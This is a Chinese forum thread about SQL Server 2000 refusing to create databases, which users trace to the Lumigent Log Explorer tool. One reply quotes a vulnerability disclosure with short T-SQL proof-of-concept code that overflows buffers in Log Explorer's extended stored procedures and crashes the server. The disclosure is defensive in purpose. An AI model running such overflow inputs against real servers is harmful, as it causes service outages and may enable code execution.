找不到原因,sql server是装有我本机上,服务里重启了mssqlserver,机子也重启了,一样的。。

解决方案 »

  1.   

    --试试查询分析器中执行下面的语句看看能否建库
    use master
    godeclare hcforeach cursor global for select 'kill '+rtrim(spid) from sysprocesses where dbid=db_id('model')
    exec sp_msforeach_worker '?'
    gocreate database aa
      

  2.   

    行了。邹老哥,在分析器里可以执行,然后我再在企业管理器里建库也可以,但是建库后发现数据库里多了一个表LUMIGENT_PROFILER,里面有一些starttime,spid,用户登录名loginname等,这是怎么回事呀。再就是你那语句看上去是杀掉跟model相关的系统,但还是不明白吗?能帮我讲解一下吗?
      

  3.   

    是新装得吗?如果是个人学习的Sqlserver的话,重装一遍把,可能没装好!
      

  4.   

    LUMIGENT_PROFILER应该是log explorer使用的.
      

  5.   

    谢谢 yesyesyes() 的指点。我卸了log explorer,出现一样的问题,后来又装上log explorer,又可以了,这log explorer怎么这么牛B,太霸道了点1.现在原因是找出来了,但如果我卸了log explorer,sql又出问题,用邹老哥的方法杀掉model的进程
    也没用。只有装上,怎么办,如果我不要log explorer,要怎么做2.邹老哥的那几条sql语句有些似懂非懂,只知道是用游标来杀掉那些spid为db_id('model')的进程,能具体讲解一下吗?
      

  6.   

    晕得很,不去掉log explorer就是不爽呀,现在连在数据库上右键“属性”都不可以,出现mmc错误。。
      

  7.   

    Lumigent Log Explorer is a transaction log explorer for Microsoft SQL 
    Server 7/2000. It ships with extended stored procedures implemented in 
    xp_logattach.dll. Some of them suffer from buffer overflows that lead to 
    SQL Server service crash and potentially to arbitrary code execution. 
    Below is sample code that crashes SQL Server:declare @bo varchar(8000) 
    set @bo = replicate('A', 800) 
    exec xp_logattach_StartProf @bo declare @bo varchar(8000) 
    set @bo = replicate('A',800) 
    exec xp_logattach_setport @bo declare @bo varchar(8000) 
    set @bo = replicate('A',800) 
    exec xp_logattach @bo Procedures can be run only by dbo (master) by default. Vendor was informed 
    but I got no response confirming this problem and no fixes.CheersMartin Rakhmanoff (jimmers)
    jimmers yandex ru
      

  8.   

    to  hygougou(狗狗):
    你那语句是干吗呢???
      

  9.   

    如何去掉log explorer呀,卸载不行
      

  10.   

    补丁打到SP3Lumigent Log Explorer内存益出,对SQL SERVER7/2000的SP2以上版本都有影响,且至今没解决方案,所以只能考虑装sp3补丁,要么你就重装系统了